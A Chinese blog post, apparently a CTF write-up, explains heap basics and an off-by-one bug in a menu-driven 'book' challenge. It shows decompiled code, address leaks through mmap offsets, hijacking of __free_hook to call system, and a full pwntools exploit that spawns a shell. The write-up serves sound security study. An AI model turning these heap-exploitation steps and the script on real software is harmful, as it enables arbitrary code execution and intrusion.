堆入门-Off-By-One
June 11, 2019 PWN 访问: 31 次
初识
- 堆是动态分配的,只有在程序中需要时才会分配
- 程序虚拟地址空间的一块连续的线性区域
- 堆的生长方向是从低地址向高地址生长的,而栈是从高地址向低地址生长的
堆的一些专业术语
chunk:malloc 申请的内存
堆的基本操作
分配
extern void *malloc(unsigned int num_bytes);
头文件 :stdlib.h
void* 表示未确定的指针,可以指向任何类型的数据
参数:指明分配的堆块大小,当为0的时候,返回当前系统允许的堆的最小内存块,当为负数时,由于在大多数系统上,size_t是无符号的,所以程序就会申请很大的内存空间
返回值:如分配成功则返回指向被分配内存的指针(堆的初始值不确定),否则返回空指针NULL
释放
void free(void *ptr);
参数:释放ptr指向的内存块
当ptr是空指针时,函数不执行任何操作
当ptr已经释放之后,再次释放会出现乱七八糟的效果
堆溢出
堆溢出是指向某个堆块中写入的字节数超过了堆块本身可使用的字节数,从而导致堆溢出,并覆盖到相邻高地址的堆块
Off-By-One
这个漏洞是一种特殊的溢出漏洞,指的是想堆中写入时,写入的字节数超过了这个堆块所申请的字节数仅仅一个字节,造成原因就是边界代码不严谨
漏洞利用方法
这里通过一个CTF题来具体说一个该漏洞利用的方法
首先程序开启了RELRO、NX、PIE保护
一筐萝卜 ➜ pwn checksec --file pwn
[*] '/media/wxm/Lenovo/study/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
一筐萝卜 ➜ pwn
运行并拖到IDA中,是一个典型的菜单堆题
首先了解各个分支的功能
首先是向off_202018 -> unk_202040
读入author name
,限制读入的字节数是32,但是程序通过sub_9F5
函数来读入
signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]
if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0;
return 0LL;
}
这个函数中存在Off-By-One
漏洞,导致可以多读入一个\x00
字节
signed __int64 create()
{
void *v0; // rdi
int v2; // [rsp+0h] [rbp-20h]
int v3; // [rsp+4h] [rbp-1Ch]
void *v4; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
void *v6; // [rsp+18h] [rbp-8h]
v2 = 0;
printf("\nEnter book name size: ", *&v2);
__isoc99_scanf("%d", &v2);
if ( v2 >= 0 )
{
printf("Enter book name (Max 32 chars): ", &v2);
ptr = malloc(v2);
if ( ptr )
{
if ( sub_9F5(ptr, v2 - 1) )
{
printf("fail to read name");
}
else
{
v2 = 0;
printf("\nEnter book description size: ", *&v2);
__isoc99_scanf("%d", &v2);
if ( v2 >= 0 )
{
v6 = malloc(v2);
if ( v6 )
{
printf("Enter book description: ", &v2);
v0 = v6;
if ( sub_9F5(v6, v2 - 1) )
{
printf("Unable to read description");
}
else
{
v3 = sub_B24(v0);
if ( v3 == -1 )
{
printf("Library is full");
}
else
{
v4 = malloc(0x20uLL);
if ( v4 )
{
*(v4 + 6) = v2;
*(off_202010 + v3) = v4;
*(v4 + 2) = v6;
*(v4 + 1) = ptr;
*v4 = ++unk_202024;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory", &v2);
}
}
else
{
printf("Malformed size", &v2);
}
}
}
else
{
printf("unable to allocate enough space");
}
}
else
{
printf("Malformed size", &v2);
}
if ( ptr )
free(ptr);
if ( v6 )
free(v6);
if ( v4 )
free(v4);
return 1LL;
}
这个分支是创建一个book,book name大小自拟,最大规定是32,但是没有限制,所以可以随意大小,book description大小同样自拟,这些数据都会分配堆块来进行存储,如果创建成功会创建一个0x20大小的堆块来存储book的信息,每一个book信息是一个结构体
struct book_info
{
int id;
char *heap_name;
char *heap_description;
int size;
}
而每一个这样结构体的地址存在off_202010 -> unk_202060
,可以看出来,和author紧邻,并且仅仅差了0x20,而输入author处还存在溢出一位\x00
,那么就会把第一个book_info结构体的地址的最后一个字节覆盖成\x00
signed __int64 delete()
{
int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i )
;
if ( i != 20 )
{
free(*(*(off_202010 + i) + 8LL));
free(*(*(off_202010 + i) + 16LL));
free(*(off_202010 + i));
*(off_202010 + i) = 0LL;
return 0LL;
}
printf("Can't find selected book!", &v1);
}
else
{
printf("Wrong id", &v1);
}
return 1LL;
}
这个是一个detele选项,读入一个book的id,然后通过free各个堆块来将这个book_info清除
signed __int64 edit()
{
int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*(off_202010 + i) || **(off_202010 + i) != v1); ++i )
;
if ( i == 20 )
{
printf("Can't find selected book!", &v1);
}
else
{
printf("Enter new book description: ", &v1);
if ( !sub_9F5(*(*(off_202010 + i) + 16LL), *(*(off_202010 + i) + 24LL) - 1) )
return 0LL;
printf("Unable to read new description");
}
}
else
{
printf("Wrong id", &v1);
}
return 1LL;
}
这个选项用于编辑某个book_info中的description,大小同样是创建时候的大小
int show()
{
__int64 v0; // rax
signed int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v0 = *(off_202010 + i);
if ( v0 )
{
printf("ID: %d\n", **(off_202010 + i));
printf("Name: %s\n", *(*(off_202010 + i) + 8LL));
printf("Description: %s\n", *(*(off_202010 + i) + 16LL));
LODWORD(v0) = printf("Author: %s\n", off_202018);
}
}
return v0;
}
这个选项是将指定的book_info给打印出来
signed __int64 change_author()
{
printf("Enter author name: ");
if ( !sub_9F5(off_202018, 32) )
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}
这个是用来改变author name
了解了这个程序的基本流程,并且发现这个程序中存在漏洞,下面来一步一步的利用这个漏洞来getshell
程序开启了PIE,地址都是随机化,所以我们要泄露部分地址,前面我们知道author和第一个book_info会造成覆盖,首先我们对author输入32位,程序自己再加上一位\x00
,当我们创建一个book时,这个 \x00
就会被book的地址覆盖掉,此时author和第一个地址就连到一块
然后show book info的时候会打印author,就会把这个地址给带出来
最后一位只能覆盖成\x00
,那么我们构造出来第一个book的des堆块的地址最后一位是\x00
,那么覆盖了之后就直接指向了第一个book的des堆块
此时堆块中的结构如下
我们将book name创建大一些,试des堆块正好最后一位是\x00
那么第一个book的name大小应该是128,des的大小32就好
创建之后再对author修改,同样是输入"a"*32
,这样的话第一个book_info的地址就是第一个book_info的des的地址
通过刚刚泄露出来的堆块地址计算出来第二个堆块的地址(泄露libc基地址用),提前将des中存着我们伪造的book_info
这里泄露libc基地址的方法有点骚,emmm,需要知道一个系统特性,当分配的堆块的大小在某一个范围内的话,系统会通过brk方法来分配(brk 会直接拓展原来的堆),但是当分配超级大的堆块时,程序会用mmap方法来分配堆(mmap 会单独映射一块内存),mmap分配的堆块和libc之间存在着固定的偏移,因此我们可以推算出来libc的基地址(偏移需要用gdb中的vmmap来计算)
泄露出来libc基地址后,就要想办法来getshell了,这道题Full RELRO
,我们无法通过覆盖got表来getshell
这里通过__free_hook
来劫持free函数
原理是什么呢
glibc-2.19/malloc/malloc.c 第1830行
void weak_variable (*__free_hook) (void *__ptr,
const void *) = NULL;
可以看出来__free_hook
是一个常量
free函数内部实现代码glibc-2.19/malloc/malloc.c 第2908行
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}
if (mem == 0) /* free(0) has no effect */
return;
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* see if the dynamic brk/mmap threshold needs adjusting */
if (!mp_.no_dyn_threshold
&& p->size > mp_.mmap_threshold
&& p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
return;
}
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
可以看出来先把__free_hook
赋值给了hook
,然后调用hook
如果我们把__free_hook
就改成system函数之后,调用free函数的时候就会调用system了
劫持流程是什么呢
接着上面刚刚的继续,此时第一个book_info是指向我们伪造的结构上的,我们可以通过edit来编辑第二个book的des信息,修改成__free_hook
然后edit第二个book的des信息,相当于修改__free_hook
的值,修改成system的地址,然后通过delete来调用free,相当于调用了system,但是/binsh\x00
要在创建book2的时候写到book2的name中
完整exp:
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
r = process("./pwn")
libc = ELF("./libc.so.6")
r.recvuntil("Enter author name: ")
r.sendline("a"*32)
r.recvuntil("> ")
def create_book(size_1,str_1,size_2,str_2):
r.sendline("1")
r.recvuntil("Enter book name size: ")
r.sendline(str(size_1))
r.recvuntil("Enter book name (Max 32 chars): ")
r.sendline(str_1)
r.recvuntil("Enter book description size: ")
r.sendline(str(size_2))
r.recvuntil("Enter book description: ")
r.sendline(str_2)
def change_author_name(str_1):
r.sendline("5")
r.recvuntil("Enter author name: ")
r.sendline(str_1)
def edit_book(id_1,str_1):
r.sendline("3")
r.recvuntil("Enter the book id you want to edit: ")
r.writeline(str(id_1))
r.recvuntil("Enter new book description: ")
r.sendline(str_1)
def delete_book(id_1):
r.sendline("2")
r.recvuntil("Enter the book id you want to delete: ")
r.sendline(str(id_1))
create_book(128,"book_name_1",32,"heap_book_description_1")
create_book(0x21000,"/bin/sh\x00",0x21000,"heap_book_description_2")
r.recvuntil("> ")
r.sendline("4")
r.recvuntil("a"*32)
heap_book_1 = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
log.info("heap_book_1: "+hex(heap_book_1))
heap_book_1_description = heap_book_1 - 0x30
log.info("heap_book_1_description: "+hex(heap_book_1_description))
r.recvuntil("> ")
heap_book_2 = heap_book_1+0x30
heap_book_2_name_addr = heap_book_2+8
heap_book_2_des_addr = heap_book_2+16
payload = p64(1)+p64(heap_book_2_name_addr)+p64(heap_book_2_des_addr)+p64(0xffff)
edit_book(1,payload)
r.recvuntil("> ")
change_author_name("b"*32)
r.recvuntil("> ")
#gdb.attach(r)
r.sendline("4")
r.recvuntil("Name: ")
mmap_heap_1_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
r.recvuntil("Description: ")
mmap_heap_2_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
log.info("mmap_heap_1_addr : "+hex(mmap_heap_1_addr))
log.info("mmap_heap_2_addr : "+hex(mmap_heap_2_addr))
base_addr = mmap_heap_2_addr-0x577010
log.info("base_addr : "+hex(base_addr))
__free_hook_addr = base_addr+libc.symbols['__free_hook']
log.info("__free_hook_addr : "+hex(__free_hook_addr))
system_addr = libc.symbols['system'] +base_addr #0x4239e 0x423f2 0xe317e
log.info("system_addr : "+hex(system_addr))
r.recvuntil("> ")
payload = p64(__free_hook_addr)
edit_book(1,payload+"\x08")
r.recvuntil("> ")
edit_book(2,p64(system_addr))
r.recvuntil("> ")
r.sendline("2")
r.recvuntil("Enter the book id you want to delete: ")
r.sendline("2")
r.interactive()
个人感悟
堆这块确实不好搞,搞了两天这个,有点头大